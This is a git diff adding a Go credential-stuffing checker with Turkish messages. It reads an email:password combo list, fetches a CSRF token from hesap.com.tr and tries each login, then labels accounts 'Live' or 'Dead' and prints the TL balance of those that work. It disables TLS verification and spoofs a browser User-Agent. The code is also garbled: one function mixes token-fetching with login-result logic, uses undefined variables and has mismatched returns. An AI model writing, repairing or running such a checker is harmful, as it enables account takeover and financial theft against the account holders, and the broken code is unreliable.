diff --git a/main.go b/main.go new file mode 100644 index 0000000..0ee54ad --- /dev/null +++ b/main.go @@ -0,0 +1,142 @@ +package main + +import ( + "bufio" + "crypto/tls" + "fmt" + "io" + "log" + "net/http" + "net/http/cookiejar" + "os" + "regexp" + "strings" +) + +func main() { + fmt.Print("Hesaplar dosyasının adı: ") + var filename string + fmt.Scanln(&filename) + + file, err := os.Open(filename) + if err != nil { + log.Fatalf("Dosya açılamadı: %v", err) + } + defer file.Close() + + scanner := bufio.NewScanner(file) + for scanner.Scan() { + jar, _ := cookiejar.New(nil) + + client := &http.Client{ + Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}, + Jar: jar, + } + + line := scanner.Text() + parts := strings.Split(line, ":") + if len(parts) != 2 { + fmt.Printf("Geçersiz format: %s\n", line) + continue + } + + email := parts[0] + password := parts[1] + + csrfToken, err := getCSRFToken(client) + if err != nil { + log.Printf("CSRF token alınamadı: %v\n", err) + continue + } + + login(client, csrfToken, email, password) + + } + + if err := scanner.Err(); err != nil { + log.Fatalf("Dosya okuma hatası: %v", err) + } +} + +func getCSRFToken(client *http.Client) (string, error) { + req, err := http.NewRequest("GET", "https://hesap.com.tr/login", nil) + if err != nil { + return "", err + } + req.Header.Set("Content-Type", "application/x-www-form-urlencoded") + req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0") + req.Header.Set("Referer", "https://hesap.com.tr/login") + + resp, err := client.Do(req) + if err != nil { + return "", err + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return "", err + } + + re := regexp.MustCompile(`]*class="balance"[^>]*>([\d,]+) TL`) + match := re.FindStringSubmatch(string(body)) + if len(match) > 1 { + + } else { + fmt.Println("Miktar bulunamadı.") + } + fmt.Printf("Live Acc: %s:%s", email, password) + fmt.Printf("TL Miktarı: %s\n", match[1]) + return true, nil + } else { + //fmt.Println("Sunucu Yanıtı:", string(body)) + fmt.Printf("Dead Acc: %s:%s\n", email, password) + return false, nil + } + +} + +func appendToFile(filename, content string) { + file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + if err != nil { + log.Fatalf("Dosya yazma hatası: %v", err) + } + defer file.Close() + + _, err = file.WriteString(content) + if err != nil { + log.Fatalf("Dosyaya yazma hatası: %v", err) + } +}